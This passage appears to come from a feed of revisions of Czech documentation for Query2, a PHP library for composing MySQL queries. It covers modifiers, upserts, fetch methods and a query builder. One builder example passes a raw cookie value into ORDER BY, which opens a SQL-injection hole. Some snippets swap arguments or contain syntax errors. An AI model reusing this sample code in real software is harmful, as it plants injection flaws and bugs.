	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
), 25);

// Vytvoří dotaz SELECT * FROM users WHERE login IN ('Eva', 'Filip', 'Jakub') ORDER BY `lo'gi``n`
$q-&gt;query(&quot;SELECT * FROM users WHERE login %in ORDER BY %t&quot;, array(&quot;Eva&quot;, &quot;Filip&quot;, &quot;Jakub&quot;), &quot;lo'gi`n&quot;);

// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Lil\' John', '47bce5c74f589f4867dbd57e9ca9f808')
$q-&gt;query(&quot;INSERT INTO users %v&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

Poslední dva příklady dávají nápovědu jak řešit častý problém: ''pokud řádek v tabulce existuje, potřebujeme jej aktualizovat, pokud ne, tak vytvořit'':

{syntax php}
$arr = array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
);

if($id)
	$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, $arr, $id);
else
	$id = $q-&gt;query(&quot;INSERT INTO users %v&quot;, $arr)-&gt;lastInsertId();
{/syntax}

Tento problém lze vyřešit elegantně i bez Query2, a to pomocí méně známé MySQL konstrukce INSERT INTO users SET ..., která data přijímá ve stejné podobě jako UPDATE.

Jde to ale ještě elegantněji:

!!!INSERT ... ON DUPLICATE KEY UPDATE
Zopakujme si, co vlatně tato velmi užitečná konstrukce dělá: Nejprve se snaží vložit zadaný řádek, pokud ovšem nemůže kvůli konfliktu indexů (a to nejen primárního, ale i ostatních unikátních), pak se provede update řádku (a to jen vyspecifikované hodnoty).

Zápis v SQL je ale zbytečně dlouhý a možná i matoucí.

Query2 umožňuje dvě možná použití této konstrukce, která se liší formátem argumentu:

!!!!Jednoduchá
Snaží se vložit řádek, pokud neuspěje, aktualizuje všechny sloupce řádku uvedené v argumentu. Argumentem je klasické asociativní pole jméno =&gt; hodnota.

{syntax php}
// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE name = VALUES(name), password = VALUES(password)
$q-&gt;query(&quot;INSERT INTO users %va&quot;, array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

!!!!Složitá
Toto použití je složitější, ale poskytuje více možností. Argumentem je pole, ovšem s maximálně třemi položkami:
* data - klasické asociativní pole s jmény sloupců a hodnotami (tedy stejné jako argument z jednoduché varianty), povinné
* update - pole s jmény sloupců, které se mají updatovat v případě konfliktu indexů, volitelné
** pokud není definované, předpokládají se všechny sloupce
* auto_increment - specifikuje sloupec s auto inkrementem, volitelné

{syntax php}
// Vytvoří dotaz INSERT INTO users (id, name, password) VALUES (5, 'Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE password = VALUES(password), id = LAST_INSERT_ID(id)
$id = $q-&gt;query(&quot;INSERT INTO users %va&quot;, 
	&quot;data&quot; =&gt; array(
		&quot;id&quot; =&gt; $id
		&quot;name&quot; =&gt; &quot;Eva&quot;,
		&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
	),
	&quot;update&quot; =&gt; array(&quot;password&quot;),
	&quot;auto_increment&quot; =&gt; &quot;id&quot;
)-&gt;lastInsertId();
{/syntax}

Na co ten &quot;auto_increment&quot; parametr je? Vraťme se opět k našemu problému vložení řádku, pokud neexistuje a aktualizace pokud existuje. V případě, že se řádek vloží, budete pravděpodobně chtít znát ID právě vloženého řádku. V případě, že ale řádek existuje a proběhne jen update, databázové LAST_INSERT_ID logicky zůstane na předchozí hodnotě, protože ke vložení nového řádku nedošlo. Problém ale je, že nedokážeme zjistit, jestli došlo k INSERT nebo UPDATE.

Na to se nám hodí ta magická konstrukce na konci &quot;id = LAST_INSERT_ID(id)&quot;. V případě, že dojde k UPDATE, nastaví databázové LAST_INSERT_ID na hodnotu sloupce &quot;id&quot; (resp. sloupce s příznakem AUTO_INCREMENT) právě aktualizovaného řádku. Takto vám metoda lastInsertId() vždy vrátí ID řádku, ať už byl aktualizovaný nebo právě vložený.

Pokud se vám zdá, že je ta syntaxe divná, nejste sami :-)

!!!SQL konstrukce v %a, %v a %av
Představme si, že chceme do Query2 převést tento dotaz:

{syntax sql}
INSERT INTO users_login (id_user, last_login) VALUES (1, NOW())
{/syntax}

Modifikátor %v ani %V použít nemůžeme, protože oba by NOW() obalili jednoduchými uvozovkami. Musíme to řešit proto takovou specialitou:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login %v&quot;, array(
	&quot;id_user&quot; =&gt; 1,
	&quot;last_login&quot; =&gt; new Query2Statement(&quot;NOW()&quot;)
));
{/syntax}

Query2Statement je primitivní třída vytvořená čistě pro tento úkol. V konstruktoru se zadává hodnota, která se má substituovat bez escapování a bez oblokopení uvozovkami. Upozorňuji na to, že tuto speciální konstrukce je nutné (a taky možné) použít jen uvnitř argumentů k %a/%A, %v/%V. Jinak totiž není problém napsat:

{syntax php}
$q-&gt;query(&quot;INSERT INTO users_login (id_user, last_login) VALUES (%i, NOW())&quot;, $id_user);
{/syntax}


!!Fetchování dat
Zatím jsem rozebíral pouze &quot;kompozici&quot; dotazů, teď se dostanu k &quot;fetchování&quot; dat z výsledku dotazu. Máme několik metod, většina je celkem standardní. Pojmenování je stejné jako u Zend_Db.

* fetchRow() - vrátí řádek v asociovaném poli, je možné volat opakovaně v cyklu, stejně jako [mysql_fetch_row()|http://cz.php.net/manual/en/function.mysql-fetch-row.php]
* fetchAll() - vrátí celý výsledek v dvourozměrném poli
* fetchOne() - vrátí hodnotu prvního sloupce prvního řádku výsledku. Volitelný parametr může obsahovat jméno sloupce, který se má vrátit místo prvního
* fetchCol() - vrací pole obsahující první sloupce všech řádků výsledku
* fetchPairs() - vrátí výsledek v asociativním poli složený z prvních dvou sloupců
* fetchAssoc($col, ...) - vrátí celý výsledek asociovaný podle zadaného sloupce. Pokud je zadáno více sloupců, asociuje se víceúrovňově. Pro každou hodnotu asociovaného sloupce se vytvoří pole, počítá se tím pádem s duplikátními hodnotami.

!!!Příklady
{syntax php}
$result = $q-&gt;query(&quot;SELECT id, name, password FROM users&quot;);

var_export($result-&gt;fetchRow());
array(
	&quot;id&quot; =&gt; 1,
	&quot;name&quot; =&gt; &quot;Alice&quot;,
	&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
)

var_export($result-&gt;fetchAll());
array(
	array(
		&quot;id&quot; =&gt; 1,
		&quot;name&quot; =&gt; &quot;Alice&quot;,
		&quot;password&quot; =&gt; &quot;A52E094A3580FC32&quot;
	),
	array(
		&quot;id&quot; =&gt; 2,
		&quot;name&quot; =&gt; &quot;Markéta&quot;,
		&quot;password&quot; =&gt; &quot;E87E094A3580FC32&quot;
	)
);

echo $result-&gt;fetchOne();
1

var_export($result-&gt;fetchCol(&quot;name&quot;));
array(&quot;Alice&quot;, &quot;Markéta&quot;);

var_export($result-&gt;fetchPairs());
array(
	1 =&gt; &quot;Alice&quot;,
	2 =&gt; &quot;Markéta&quot;
);

$result = $q-&gt;query(&quot;SELECT id, country, city, name FROM users&quot;);
var_export($q-&gt;fetchAssoc(&quot;country&quot;, &quot;city&quot;);
array(
	&quot;CR&quot; =&gt; array(
		&quot;Praha&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 1,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Alice&quot;
			),
			1 =&gt; array(
				&quot;id&quot; =&gt; 2,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Praha&quot;,
				&quot;name&quot; =&gt; &quot;Markéta&quot;
			)
		),
		&quot;Brno&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 3,
				&quot;country&quot; =&gt; &quot;CR&quot;
				&quot;city&quot; =&gt; &quot;Brno&quot;,
				&quot;name&quot; =&gt; &quot;Eva&quot;
			)
		)
	),
	&quot;SR&quot; =&gt; array(
		&quot;Bratislava&quot; =&gt; array(
			0 =&gt; array(
				&quot;id&quot; =&gt; 4,
				&quot;country&quot; =&gt; &quot;SR&quot;
				&quot;city&quot; =&gt; &quot;Bratislava&quot;,
				&quot;name&quot; =&gt; &quot;Martina&quot;
			)
		)
	)
);
{/syntax}

!!!Iterator a countable interface
S výsledky je možné pracovat i jako s obyčejným polem:

{syntax php}
$result = $q-&gt;query(&quot;SELECT * FROM users&quot;);

echo &quot;Počet uživatelů je: &quot;, count($result), &quot;&lt;br /&gt;\n&quot;;

foreach($result as $row)
	echo $row[&quot;name&quot;], &quot;&lt;br /&gt;\n&quot;;

// Result se dá &quot;rewindnout&quot;, jde tedy procházet výsledek opakovaně
foreach($result as $row)
	echo $row[&quot;surname&quot;], &quot;&lt;br /&gt;\n&quot;;
{/syntax}



!!Query2Builder
SQL je jazyk poměrně blízký lidskému jazyku - to má své výhody, ale také jednu nevýhodu - dotaz se ''kódem'' blbě modifikuje. Vytvořme si modelovou situaci. V administraci blogovacího systému máme seznam blogpostů, ten je možné řadit podle libovolného sloupce, stránkovat, filtrovat podle data publikace a autora. Možných variant dotazu je docela dost a kód, který tento dotaz generuje je zbytečně dlouhý a nepřehledný. Query2Builder se snaží tento problém usnadnit:

{syntax php}
// Objekt Query2Builder získáváme z objektu Query2 metodou builder()
$builder = $q-&gt;builder();

$builder-&gt;select(&quot;blog.id&quot;)-&gt;select(&quot;blog.name, blog.id_autor&quot;)-&gt;from(&quot;blog&quot;); // je možné více způsobů zápisu

if(isset($_COOKIE[&quot;filter_autor&quot;]) // v Query2Builderu je možné úplně normálně používat modifikátory
	$builder-&gt;from(&quot;JOIN autor USING(id_autor)&quot;)-&gt;whereAnd(&quot;autor.name LIKE %s&quot;, $_COOKIE[&quot;filter_autor&quot;]);

if(isset($_COOKIE[&quot;filter_datum&quot;]))
	$builder-&gt;whereAnd(&quot;blog.datum = %s&quot;, $_COOKIE[&quot;filter_datum&quot;]); // je možné používat modifikátory

if(isset($_COOKIE[&quot;orderby&quot;]))
	$builder-&gt;orderBy($_COOKIE[&quot;orderby&quot;]);

$builder-&gt;limit(($page - 1) * $perpage, $perpage); // stránkování

$blogposty = $q-&gt;query($builder)-&gt;fetchAll(); // do metody query() zadáme jako argument instanci Query2Builder

// použijeme trochu modifikovaný dotaz pro získání celkového počtu řádků (užitečné na zobrazení stránkování)
// BTW, v MySQL jde udělat i bez spouštění druhého dotazu
$celkem_pocet = $q-&gt;query($builder-&gt;clearSelect()-&gt;select(&quot;COUNT(*)&quot;)-&gt;clearLimit())-&gt;fetchOne();
{/syntax}

!!!Zanořené WHERE a HAVING
{syntax php}
$or = $q-&gt;builder()-&gt;whereOr(&quot;skladem = 1&quot;)-&gt;whereOr(&quot;ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH&quot;);
$builder = $q-&gt;builder()-&gt;select(&quot;*&quot;)-&gt;from(&quot;knihy&quot;)-&gt;whereAnd(&quot;v_prodeji = 1&quot;)-&gt;whereAnd($or);

// composeQuery() pouze vytvoří SQL dotaz, ale nespouští jej
echo $q-&gt;composeQuery($builder);

// =&gt; SELECT * FROM knihy WHERE v_prodeji = 1 AND (skladem = 1 OR ocekavane_naskladneni &lt; NOW() + INTERVAL 1 MONTH)
{/syntax}

Jedna instance Query2Builderu dokáže vytvořit pouze jednu úroveň pro WHERE. Na druhou stranu, ale také akceptuje jako argument další instanci Query2Builderu, kterou bere jako zanořenou podmínku.

Metody pro HAVING se chovají analogicky.

!!!Jiné dotazy než SELECTy
Query2Builder byl vytvořen hlavně pro SELECTy, s trochou snahy ho lze ale využít pro libovolné dotazy, viz pár například:

{syntax php}
$where = $q-&gt;builder()-&gt;whereAnd(&quot;active = 1&quot;)-&gt;whereAnd(&quot;id_category = %i&quot;, $id_category);
$q-&gt;query(&quot;UPDATE book SET %a&quot;, $cols_to_update, $where);
// =&gt; UPDATE book SET availability = 1, ... WHERE active = 1 AND id_category = 456
{/syntax}

Využíváme té vlastnosti, že Quer2Builder do generovaného dotazu vkládá pouze neprázdné položky. Pokud jsme tedy nezadali žádný sloupect do select() nebo tabulku do from(), ve výsledném dotazu vůbec klíčová slova SELECT a FROM nebudou (nebude se tedy jednat o správně zkonstruovaný dotaz, ale můžeme jej použít jako část celku).
!!Obsluha chyb
Obsluha chyb je velmi jednoduchá, při každé se vyhodí výjimka Query2Exception. Vyhozená výjimka má tyto atributy:
* code - číselný kód chyby:
** 100 - ''Can't connect to database server.''
** 101 - ''Can't select database.''
** 200 - ''Wrong argument list/order to query()''
*** Nastává, v případech: $q-&gt;query(&quot;INSERT INTO users %v&quot;); (tedy zapomenutí parametru)
** 201 - ''Wrong modifier to query() function.''
** 300 - Chyba při vykonávání dotazu
* error - textový popis chyby, v případě 300 se jedná o mysql_error()
* sql - u 300 dotaz, který chybu způsobil

!Extras
!!Logování

Objektu lze předat callback, který bude volán po vykonání dotazu s údaji o délce provedení, úspěchu dotazu (callback se volá před vyhozením výjimky).

{syntax php}
function logger($success, $query, $time)
{
	echo &quot;Podařilo se dotaz vykonat: ($success ? &quot;ANO&quot; : &quot;NE&quot;), &quot;, dotaz zabral $time milisekund. Obsah dotazu: $query&quot;;
}

$q-&gt;setLogCallback(&quot;logger&quot;);

$callback = $q-&gt;getLogCallback(); // v případe, když bychom ho potřebovali zpět
{/syntax}

!!Pomocné metody
* composeQuery() - akceptuje stejné parametry jako query() a vrací vygenerovaný dotaz v čistém SQL
* pquery() - vygeneruje dotaz, vytiskne ho na výstup, ale dotaz také spustí. Vhodné na rychlé hledání chyb, protože jediné, co potřebujete pro výpis dotazu na výstup je přidání jediného písmenka (query() =&gt; pquery()), jinak totiž všechno funguje úplně stejně.

!!Statické metody
V Dibi najdete zdánlivě praktické statické metody dibi::connect(), dibi::query() a možná i další. V Query2 žádné takové nenajdete a to jednoduše proto, že jsou z principu velmi špatné. Proč jsou statické metody tak špatné zjistíte (např.), když podědíte třídu dibi a budete ji chtít použít v existujícím projektu místo dibi.

!!Unit testy
V [repozitáři|https://code.google.com/p/query2/source/] je k dispozici [soubor|https://code.google.com/p/query2/source/browse/trunk/test/Query2Test.php] s PHPUnit testy. Přestože je pokrytí kódu prakticky stoprocentní, je stále co zlepšovat. Může se hodit na věci, které z manuálu nejsou úplně jasné.

!Autor
Autorem Query2 je Adam Živnéř, adam.zivner@gmail.com . Úvodní fázi vývoje zasponzorovala firma [Továrna.cz|http://www.tovarna.cz].
</pre></description>
	</item>

	<item>
	  <title>Query2 - 1.1</title>
	  <pubDate>Wed, 07 Apr 2010 18:02:48 +0200</pubDate>
	  <link>http://query2.0o.cz/index.php?page=Query2+-+1.1</link>
	  <description><pre id="diff">{TOC}
Query2 je minimalistický databázový layer pro MySQL v PHP. Je podobný třeba [dibi|http://dibiphp.com/] nebo [Zend_Db|http://framework.zend.com/manual/en/zend.db.html], hlavní odlišností je asi to, že se nepokouší o databázovou abstrakci - je pevně svázán s [MySQL|http://mysql.com], což má své výhody i nevýhody.

!Přehled
* Malá, jednoduchá a snadno upravitelná knihovna - celé Query2 má asi 20KB, kód je čitelný a dostatečně komentovaný
** Pro srovnání, kód Dibi má 250KB, cca 12krát tolik.
* Flexibilní a mocný - Query2 umožňuje psát značně méně kódu
* Dělá jednu věc, zato pořádně - tou je &quot;kompozice&quot; dotazu
** Neumí managovat databázové spojení, logování a podobné okrajové věci
* Umí používat speciality MySQL
** Jako třeba [INSERT INTO ... ON DUPLICATE KEY UPDATE|http://dev.mysql.com/doc/refman/5.0/en/insert-on-duplicate.html]
* Neumí pojmenované parametry - v MySQL je ostatně jejich přínos diskutabilní
* licencován pod [New BSD license|http://www.opensource.org/licenses/bsd-license.php]

!Download

Aktuální stabilní verze je 1.1.0, k dispozici ke stáhnutí [zde|./download/Query2-1.1.0.tar.gz]. SVN repozitář je na Google Code k nalezení [zde|https://code.google.com/p/query2/source/checkout].

Změny v jednotlivých verzích jsou popsány v [ChangeLogu|ChangeLog].

!!Požadavky
PHP &gt;= 5. Otestováno na PHP 5.0.5, 5.2.11 a 5.3.1. Query2 je možné použít pouze s kódováními kompatibilními s ASCII, např. UTF-8, ISO-8859-X/latinX, CP-XXXX atp. Mezi kódování nekompatibilní s ASCII patří např. UTF-16/UCS-2 nebo UTF-32/UCS-4.

!Manuál
!!Připojení k databázi

{syntax php}
// Vytvoříme instanci objektu a zároveň se připojíme k databázi
$q = new Query2(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;);

// Připojit se k databázi můžeme ale nezávisle na instanciaci objektu
$q = new Query2(); // pouze vytvoříme instanci objektu
$q-&gt;connect(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;my_database&quot;); // connect() má stejné parametry jako konstruktor
{/syntax}

!!Základní dotazy
{syntax php}
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s AND password = %s&quot;, 
	$_POST[&quot;login&quot;], sha1($_POST[&quot;password&quot;]))-&gt;fetchOne();

// SQL kód můžeme mixovat s parametry, následující dotaz dělá úplně to samé, co předchozí
echo $q-&gt;query(&quot;SELECT id FROM users WHERE login = %s&quot;, sha1($_POST[&quot;password&quot;]), 
	&quot;AND password = %s&quot;, $_POST[&quot;login&quot;])-&gt;fetchOne();
{/syntax}

Co přesně kód dělá? Metoda query() zparsuje vstupní argumenty a spustí dotaz. Předali jsme jí 3 parametry (v prvním případě). Parser hledá znaky procenta, ty značí, že následující znak/řetězec má speciální význam (říkáme jim ''modifikátory''). %s znamená, že další parametr bude řetězec, který se má na místo %s substituovat, ale v escapované podobě. Nemusíme se proto starat o spouštění addslashes() nebo mysql_real_escape_string(). 

Metoda query() vrací tři možné věci:
* False - dotaz neuspěl
* Instanci objektu Query2Result v případě, kdy dotaz do databáze vrací nějaká data (hlavně SELECT, DESCRIBE atp.)
** To je náš případ, metodou fetchOne() objektu třídy Query2Result si vyžádáme první sloupec prvního výsledku
* Instanci objektu Query2 v ostatních případech (tedy $this)
** Typicky pro INSERT, UPDATE, DELETE atp.

!!Seznam modifikátorů
Modifikátory pracující s řetězci se často vyskytují ve dvojicích - modifikátor %a (malé písmeno) parametr escapuje, %A parametr neescapuje. I neescapovaný řetězec je ale vždy obklopen jednoduchými uvozovkami.

* %i (od slova &quot;integer&quot;) - celé číslo
* %f (&quot;float&quot;) - reálné číslo
* %s a %S (&quot;string&quot;) - řetězec
* %t (&quot;table&quot;) - jméno tabulky/sloupce/view/indexu atp., obklopuje hodnotu znakem `
** Je vhodný např. na nastavitelné řazení tabulky ala $q-&gt;query(&quot;SELECT ... ORDER BY %t&quot;, $radici_sloupec)...
** V tomto případě se používá jiný druh escapování - escapuje se znak `, &quot; a ' se nechávají být.
** Příklad: table.column =&gt; `table`.`column`
* %q (&quot;query&quot;) - pouze vloží argument, nijak ho neupravuje ani neobklopuje žádným znakem. Vhodné na vkládání částí nebo celých dotazů v čistém SQL
** Vhodné použití je spouštění nativních SQL dotazů $q-&gt;query(&quot;%q&quot;, $native); což se hodí pro jednotné logování a správu chyb.
* %in a %IN - přijímá pole hodnot a vytvoří něco jako IN ('A', 'B', 'C') - operátor IN se v SQL neuvádí, např. &quot;WHERE born %in&quot;, array(1987, 1990)
** V případě, že pole v argumentu je prázdné, vloží se místo IN() hodnota FALSE. IN() je chybný zápis, IN(NULL) zase nefunguje pro NOT IN
** NOT IN(...) se zapisuje očekávatelně: &quot;WHERE born NOT %in&quot;, array(...)
* %a a %A (&quot;aktualizovat&quot;) - z asociativního pole v argumentu vytvoří řetězec vhodný pro UPDATE
* %v a %V (&quot;vložit&quot;) - to samé jako %a a %A, ale pro INSERT
** Pokud v argumentu není asociativní pole, ale pole asociativních polí, vytvoří se multi insert
*** Pokud vkládáte velké množství řádků, pak je &quot;multi insert&quot; řádově rychlejší než X samostatných INSERTů (ale pozor na maximální velikost packetů!)
* %va a %VA - vytvoří řetězec vhodný pro INSERT ... ON DUPLICATE KEY, je to ale trochu složitější a rozeberu to zvlášť níže

Speciálním případem je PHP hodnota null, která se bez ohledu na modifikátor vždy převede na NULL v SQL.

!!!Příklady

{syntax php}
// Vytvoří dotaz SELECT 'SQL \'injection', 'SQL 'injection'
$q-&gt;query(&quot;SELECT %s, %S&quot;, &quot;SQL 'injection&quot;, &quot;SQL 'injection&quot;);

// Chceme najít všechny loginy končící na písmeno s (pouze demonstrativní příklad)
// Vytvoří SELECT * FROM users WHERE login LIKE '%s'
$q-&gt;query(&quot;SELECT * FROM users WHERE %q&quot;, &quot;login LIKE '%s'&quot;);

// Vytvoří dotaz UPDATE users SET name = 'Lil\' John', password = '47bce5c74f589f4867dbd57e9ca9f808' WHERE id = 25
$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
), 25);

// Vytvoří dotaz SELECT * FROM users WHERE login IN ('Eva', 'Filip', 'Jakub') ORDER BY `lo'gi``n`
$q-&gt;query(&quot;SELECT * FROM users WHERE login %in ORDER BY %t&quot;, array(&quot;Eva&quot;, &quot;Filip&quot;, &quot;Jakub&quot;), &quot;lo'gi`n&quot;);

// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Lil\' John', '47bce5c74f589f4867dbd57e9ca9f808')
$q-&gt;query(&quot;INSERT INTO users %v&quot;, array(
	&quot;name&quot; =&gt; &quot;Lil' John&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

Poslední dva příklady dávají nápovědu jak řešit častý problém: ''pokud řádek v tabulce existuje, potřebujeme jej aktualizovat, pokud ne, tak vytvořit'':

{syntax php}
$arr = array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
);

if($id)
	$q-&gt;query(&quot;UPDATE users SET %a WHERE id = %i&quot;, $arr, $id);
else
	$id = $q-&gt;query(&quot;INSERT INTO users %v&quot;, $arr)-&gt;lastInsertId();
{/syntax}

Tento problém lze vyřešit elegantně i bez Query2, a to pomocí méně známé MySQL konstrukce INSERT INTO users SET ..., která data přijímá ve stejné podobě jako UPDATE.

Jde to ale ještě elegantněji:

!!!INSERT ... ON DUPLICATE KEY UPDATE
Zopakujme si, co vlatně tato velmi užitečná konstrukce dělá: Nejprve se snaží vložit zadaný řádek, pokud ovšem nemůže kvůli konfliktu indexů (a to nejen primárního, ale i ostatních unikátních), pak se provede update řádku (a to jen vyspecifikované hodnoty).

Zápis v SQL je ale zbytečně dlouhý a možná i matoucí.

Query2 umožňuje dvě možná použití této konstrukce, která se liší formátem argumentu:

!!!!Jednoduchá
Snaží se vložit řádek, pokud neuspěje, aktualizuje všechny sloupce řádku uvedené v argumentu. Argumentem je klasické asociativní pole jméno =&gt; hodnota.

{syntax php}
// Vytvoří dotaz INSERT INTO users (name, password) VALUES ('Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE name = VALUES(name), password = VALUES(password)
$q-&gt;query(&quot;INSERT INTO users %va&quot;, array(
	&quot;name&quot; =&gt; &quot;Eva&quot;,
	&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
));
{/syntax}

!!!!Složitá
Toto použití je složitější, ale poskytuje více možností. Argumentem je pole, ovšem s maximálně třemi položkami:
* data - klasické asociativní pole s jmény sloupců a hodnotami (tedy stejné jako argument z jednoduché varianty), povinné
* update - pole s jmény sloupců, které se mají updatovat v případě konfliktu indexů, volitelné
** pokud není definované, předpokládají se všechny sloupce
* auto_increment - specifikuje sloupec s auto inkrementem, volitelné

{syntax php}
// Vytvoří dotaz INSERT INTO users (id, name, password) VALUES (5, 'Eva', '47bce5c74f589f4867dbd57e9ca9f808') 
//		 ON DUPLICATE KEY UPDATE password = VALUES(password), id = LAST_INSERT_ID(id)
$id = $q-&gt;query(&quot;INSERT INTO users %va&quot;, 
	&quot;data&quot; =&gt; array(
		&quot;id&quot; =&gt; $id
		&quot;name&quot; =&gt; &quot;Eva&quot;,
		&quot;password&quot; =&gt; &quot;47bce5c74f589f4867dbd57e9ca9f808&quot;
	),
	&quot;update&quot; =&gt; array(&quot;password&quot;),
	&quot;auto_increment&quot; =&gt; &quot;id&quot;
)-&gt;lastInsertId();
{/syntax}

Na co ten &quot;auto_increment&quot; parametr je? Vraťme se opět k našemu problému vložení řádku, pokud neexistuje a aktualizace pokud existuje. V případě, že se řádek vloží, budete pravděpodobně chtít znát ID právě vloženého řádku. V případě, že ale řádek existuje a proběhne jen update, databázové LAST_INSERT_ID logicky zůstane na předchozí hodnotě, protože ke vložení nového řádku nedošlo. Problém ale je, že nedokážeme zjistit, jestli došlo k INSERT nebo UPDATE.

Na to se nám hodí ta magická konstrukce na konci &quot;id = LAST_INSERT_ID(id)&quot;. V případě, že dojde k UPDATE, nastav
